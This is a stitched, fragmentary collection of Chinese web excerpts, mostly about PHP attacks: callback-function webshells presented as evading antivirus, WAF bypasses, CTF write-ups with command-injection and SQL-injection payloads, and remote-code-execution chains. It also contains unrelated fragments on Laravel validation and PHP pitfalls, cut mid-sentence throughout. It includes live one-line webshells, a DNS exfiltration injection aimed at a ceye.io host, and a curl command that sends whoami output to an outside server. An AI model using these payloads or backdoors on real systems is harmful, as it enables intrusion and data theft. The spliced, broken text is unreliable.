看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。 0x02 数组操作造成的单参数回调后门 进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。...函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行): ?...php5.3时会报错,提示assert只能有一个参数: ?...*|e', $_REQUEST['pass'], ''); 这两个一句话都是不杀的: ? ? 好用的一句话,且用且珍惜呀。 0x05 无回显回调后门 回调后门里,有个特殊的例子:ob_start。...即使没输出,实际代码是执行了的。也算作回调后门的一种。 0x06 单参数后门终极奥义 preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。
1、compress.php 第一个是在 /php/compress/compress.php 文件中,其功能是在进行7z压缩时,使用命令拼接path和extractTo参数。...继续追踪,发现chapterPath和chapterType参数可以通过POST直接传入,extractTo参数值通过日期和chapterPath的MD5值拼接得到。...,但是发包后dnslog没有回显,且返回包为空。...尝试构造一个正常的chapterId参数,发现返回包有回显,此处报错是路径错误的问题,代码逻辑实际已经走过命令执行的步骤。...2、delete.php 另一个注入点是在 /php/manga/delete.php 中,其功能是在删除文件时,使用 rm -rf 拼接路径造成了命令注入,且这个接口也是无需鉴权的。
将类的属性存在一个数组里面options[] 通过遍历数组来对类的属性进行初始化,而且在初始化的过程中,还对filter的值进行了判断,如果为空,则初始化为Config::get('default_filter...同时var_method是表单请求类型伪装变量,也是同样的获取方法,接下来会用到的。...$this->{$this->method}($_POST); 通过这段代码我们可以知道,如果我们通过POST的方式提交了一个参数是Config::get('var_method')我们就可以调用任何函数...,而且函数的参数是以POST的方式提交的。...后记 以上就是漏洞利用的第一个阶段,构造了漏洞,还有一个重要的问题就是回显的问题,其实现在已经能成功执行代码了,回显的问题明天再说。
很多 Web 框架都对此功能专门提供了工具集,Laravel 也不例外,而且这个工具集异常丰富,基本上涵盖了目前主流的所有验证规则,即使是一些非常个性化的验证,也可以基于 Laravel 验证类的扩展功能来自定义验证规则...,第二个参数是以数组形式定义的请求字段验证规则,关于所有字段验证规则及其说明你可以在验证规则文档中查看,这里我们定义 title 字段是必填的,格式是字符串,且长度介于2~32之间,并且通过bail 指定任何一个验证规则不通过则立即退出...,就可以回显用户上次输入数据和验证错误信息了: ?...如果你使用的时 jQuery 的话,处理逻辑也是类似,根据错误码 422 进行处理。...', 'url.max' => 'URL长度不能超过200', ])->validate(); 除了第一个参数和最后要手动调动 validate() 方法外,其它参数都是一模一样的,底层的处理方式也是一样
那就传个有值的参数来绕过,在打开 flag 之前先定义变量 b 并赋值为 ag ,在执行 cat 命令时再将参数传入就可以完成拼接,payload 如下: ?...执行之后会在浏览器中回显一段 base64 加密的字符串,即后端 flag.php 文件内容的密文。...图片 可惜并没有提供文件所上传的位置,因此怕是只能猜,一般都会放在 upload 目录下,所幸本题就是如此。然后直接使用蚁剑连接即可,flag 就在根目录。...图片 本题还有个解法是利用后台比较钱时使用的 strcmp() 函数在接收数组时会出错而返回 0 的漏洞,返回 0 就与相等时的结果一致了,也就通过了验钱这一关。...但是即使如此,笔者能独自完成而不依赖题解的题目还是少之又少,脑海中的 Web 相关知识也一直处于又多又杂的状态,好像啥都知道,又啥都不懂。
中的语句 给c传值,用system函数产生回显 ,可以解析并执行 因为不能出现flag,所以使用cp命令给flag.php换个名字,这个地方cp是shell命令,并不是一个函数,所以没有类似于函数的传参形式...>&1=/etc/passwd ,发现可以回显 可以使用文件包含的原理来实现 ,原理就是加上一个php的过滤器 ,得到一串base64编码,解码即可获得flag web33 与web32中的方式一样,...(array) 其中array参数是必须的 返回值:返回数组中的最后一个值,如果数组是空的,或者不是一个数组,将返回NULL print_r() print_r()函数用于打印变量,以更容易理解的方式展示...c=print_r(get_defined_vars()); 发现是通过post给这个数组传参,尝试加一个post值 post传参后回显 为了拿到array中的那个phpinfo()的字符串,rce...c=ls%26%26ls 可以查看到回显,那么我们可以修改第一条命令来得到flag,因为第二条命令进入了黑洞中 ?
简言之,预处理语句占用更少的资源,因而运行得更快。 提供给预处理语句的参数不需要用引号括起来,驱动程序会自动处理。如果应用程序只使用预处理语句,可以确保不会发生SQL 注入。...(然而,如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险)。 预处理语句如此有用,以至于它们唯一的特性是在驱动程序不支持的时PDO 将模拟处理。...; // 从 GET 请求中获取 id 参数,这里假设用户通过 URL 提供了一个 id 参数 $id = $_GET['id']; // 绑定参数到 SQL 查询语句中的第一个占位符(即问号),避免直接拼接参数到...id=1%27%20and%20load_file(concat(%22\\\\%22,database(),%22.bgwqmj.ceye.io\\abc%22))--+ 看到平台回显 sqlmap的...即使如此,对于union select注入来说,括号并不需要 最后构造的exp为: http://**.**.**.**/?
php assert($_POST['a']);?> php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。 7.0之后的demo 参数为数组 demo: 数组展开成参数的形式 用法: 1[]=phpinfo()&1[]=123&2[]=assert 大致过程: 大概过程就是,GET变量被展开成两个参数['phpinfo', '123']和assert...usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo(); uasort uasort():使用用户自定义的比较函数对数组的值进行排序并保持索引关联 demo: php highlight_file(__FILE__); passthru('ls'); ?> shell_exec shell_exec:执行命令,但无回显 demo: <?
一、bypass各种waf技巧以及命令执行 1.1 bypass各种waf-PHP回调后门 1.1.1 最初的回调后门 php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了...1.1.2 数组操作造成的单参数回调后门 进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。...函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用都可以执行 类似array_filter,array_map也有同样功效 的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。....= $_POST['txt']; file_put_contents($_POST['filename'], $content); $content在开头增加了exit过程,导致即使我们成功写入一句话
1、传参时使用畸形的HTTP方法,很多WAF只检查POST或者GET方法 ABCDEFG /lab_value/get.php?...3、传参的数据类型匹配bypass:传入的变量类型出乎意料 对于_GET[‘num_value’](并且_POST[‘num_value’]也是同理)来说,并不是只有/?...num_value[]=xxx 也是合法的,但是数据类型与上方清一色的string不同,传入一个数组。在ctf里常利用这一点,因为md5(数组)==0。 ? ?...所以xxx是ffifdyop时,会被php认为类似于万能密码’ or 1=1 (实际上有一点区别,后面不是1=1,但是也是TURE) Part3 变量处理 生成一个变量后,PHP无非就是进行三种处理——...(即使是D盾) 1、静态绕过 (1).命名空间的利用 静态检查储存的变量(比如小马),回调函数加上一个命名空间一般都可以绕过,手册内容太多,一般面对百分之九十的WAF,在回调函数前面加一个\就完事了。
url=dir 22.txt exec 需要注意的一点exec要有echo才有回显 <?...,ARGUMENT}来执行系统命令{cat,flag} 无回显的命令执行 可以通过curl命令将命令的结果输出到访问的url中: curl www.rayi.vip/`whoami` 在服务器日志中可看到...:xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0",这样,命令的回显就能在日志中看到了...|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd 无回显的情况下...system' 利用这种方式绕过WAF和代码中的安全过滤: 字符数组 PHP中的每个字符串都可视为一个字符数组,并且可以通过语法string[2]或 string[-3]来引用单个字符,这同时也是另一种绕过安全规则的方法
1' order by 2 # 成功回显 输入1' order by 3 # 回显错误 所以只有两个字段 0x03:显示字段 输入1′ union select 1,2 # 回显一个正则过滤规则...尝试堆叠注入 0x04:查询数据库 输入1';show databases;# 成功回显 说明存在堆叠注入 0x05:查询表 输入1';show tables;# 成功回显 得到两个表words...flag就必须来点骚姿势了 因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢 内部查询语句类似 :select id, data from word where...> 生成phar文件后在删除的时候进行触发即可得到flag。 因此在删除时使用burpsite抓包,修改参数,即可得到flag。...('Invalid nickname'); 对于nickname这个参数,看到熟悉的preg_match和strlen,可以用数组绕过(nickname[]=) 数组绕过了第一个正则过滤之后,如果nickname
PHP 语言让 WEB 端程序设计变得简单,这也是它能流行起来的原因。...$inputValue); 结果每轮循环都会产生一次对数据库的查询。因此,假如你为这个循环提供了一个包含 1000 个值的数组,它会对资源产生 1000 单独的请求!...当一个名字包含 『Schrödinger』的人注册到你的系统时,即使简单的 strlen($_POST['name']) 调用也会出现问题。...常见错误 #7: 认为 _POST 总是包含你 POST 的数据不管它的名称,_POST 数组不是总是包含你 POST 的数据,他也有可能会是空的。为了理解这一点,让我们来看一下下面这个例子。...所以不管使用其他任何内容类型 (即使是那些现在很流行的,像 application/json), PHP 也不会自动加载到 POST 的有效内容。
PHP 语言让 WEB 端程序设计变得简单,这也是它能流行起来的原因。...$inputValue); 结果每轮循环都会产生一次对数据库的查询。 因此,假如你为这个循环提供了一个包含 1000 个值的数组,它会对资源产生 1000 单独的请求!...当一个名字包含 『Schrödinger』的人注册到你的系统时,即使简单的 strlen($_POST['name']) 调用也会出现问题。...常见错误 #7: 认为 $_POST 总是包含你 POST 的数据 不管它的名称, $_POST 数组不是总是包含你 POST 的数据,他也有可能会是空的。...所以不管使用其他任何内容类型 (即使是那些现在很流行的,像 application/json), PHP 也不会自动加载到 POST 的有效内容。
/free.html 任意文件上传的关键文件 webroot\ispirit\im\upload.php 代码分析: 可以看到只要判断P参数是否不为空,就开启了session 没有P参数时候 有的时候...我们来看看上传的模式有哪几种,可以看到总共有1,2,3,其中1,2,3如果成功了是有回显的 这里设置upload_mode为1,进入upload函数 会判断是否/字符,然后判断上传的文件是否符合可上传的格式...,我们继续走is_uploadable 可以看到如果上传的格式是php,会返回false,这里用xxx.php.绕过 回过头来看upload函数,最终会返回一个$ATTACHMENTS的数组,包含了ID...或者使用火绒剑分析行为和D盾进行文件监控 上传结合前面的分析需要的参数有 这里不同的上传模式,回显的格式不一样,这里的2格式舒服点,目录就是2003,文件名对应后面的ID 由于这里的关键上传了文件后...OA系统有个文件包含漏洞,结合文件包含漏洞就可以实现RCE 文件包含代码位置 /ispirit/interface/gateway.php 首先会接受一个json数据,然后转换为数组,然后遍历这个数据
到目前为止,我们在教程中所提供的大部分是静态页面。...而作为最流行的 PHP 框架,Laravel 自然也是为处理用户请求提供了丰富的工具集,从收集、验证、到过滤、编排,可谓是一应俱全,接下来,我们将通过三四篇教程的篇幅来为你详细介绍如何在 Laravel...获取指定请求字段值 上面我们已经给出了获取指定字段值的一个方法 get,该方法只能获取通过 GET 请求传递的参数,同理,如果是 POST 请求的话,我们可以通过 post 方法获取对应字段值,此次之外...注:需要注意的是,如果发起 POST 请求提交 JSON 格式请求数据时,请求头没有设置为 application/json 的话,request->input() 方法将不会以 JSON 格式解析数据...这个时候,我们需要显式地通过 获取路由参数值 除了 URL 查询字符串以及表单提交数据之外,你可能会忽视还有一种形式的输入参数,就是路由参数,我们一般显式将其作为控制器方法参数或者定义路由的匿名函数参数传入
下面对php.ini中一些安全相关参数的配置进行说明 register_globals 当register_globals = ON时,PHP不知道变量从何而来,也容易出现一些变量覆盖的问题。...因此从最佳实践的角度,强烈建议设置 register_globals = OFF,这也是PHP新版本中的默认设置。...错误回显可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭此选项。 log_errors = On 在正式环境下用这个就行了,把错误信息记录在日志里。正好可以关闭错误回显。...如果POST 数据超出限制,那么 $_POST和$_FILES 将会为空。...错误回显可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭此选项。 display_errors = On 开启状态下,若出现错误,则报错,出现错误提示。即显示所有错误信息。
where ad_id=xxx这一部分,同时它有这个单引号过滤函数,但是这里变量是没有被单引号包裹的,所以这里这个函数其实是无效的,而且这个结果有回显,会返回结果,我们此时就可以尝试在此界面进行SQL注入...访问bluecms-master/ad_js.php,先看一下字段数 ad_id=-1 order by 7 ad_id=-1 order by 8 当是7的时候无回显,为8的时候报错,说明字段数为...7,接下来尝试联合查询 -1 union select 1,2,3,4,5,6,7 看起来是无回显的,但当我们去查看源代码时就会发现是有回显的,不过加了注释 因此这里的这个7就是回显位,接下来开始注入即可...下一处 这里的id变量未被单引号包裹,但它在传值时添加了intval函数,这意味着字符串无法上传,因此这个也是无法成功注入的。...语句,为了让else语句执行,所以if的条件是不能满足的,if里的条件是face_pic1不为空,我们这里让它为空就可以执行else语句,因此按理说直接post传face_pic3就可以实现任意文件删除
/resource=useless.php 将浏览器回显的编码解码之后的 PHP 代码如下: <?...,使用如下一句话木马来绕过就好: php"> @eval($_POST['h-t-m']); 随后即可看到上传成功的提示,如此一来便快拿下本题了。...inject=1'order by 3--+ 由于正常查询时浏览器仅回显了两个数据,因此不必判断回显位,毕竟他们都可以回显。...图片 经过测试,仅有在输入数据为 1 或 2 时有效,其余均回显查询出错或在检测到关键词时回显发现 SQL 注入,实测加减乘、union、空格、双引号、分号、or、and 及其符号表达等等许多注入常用关键字均被屏蔽...本题在常规查询时存在三种回显,因此布尔盲注完全可用,正好此处为数字型注入,直接传一个 if 表达式即可。
领取专属 10元无门槛券
手把手带您无忧上云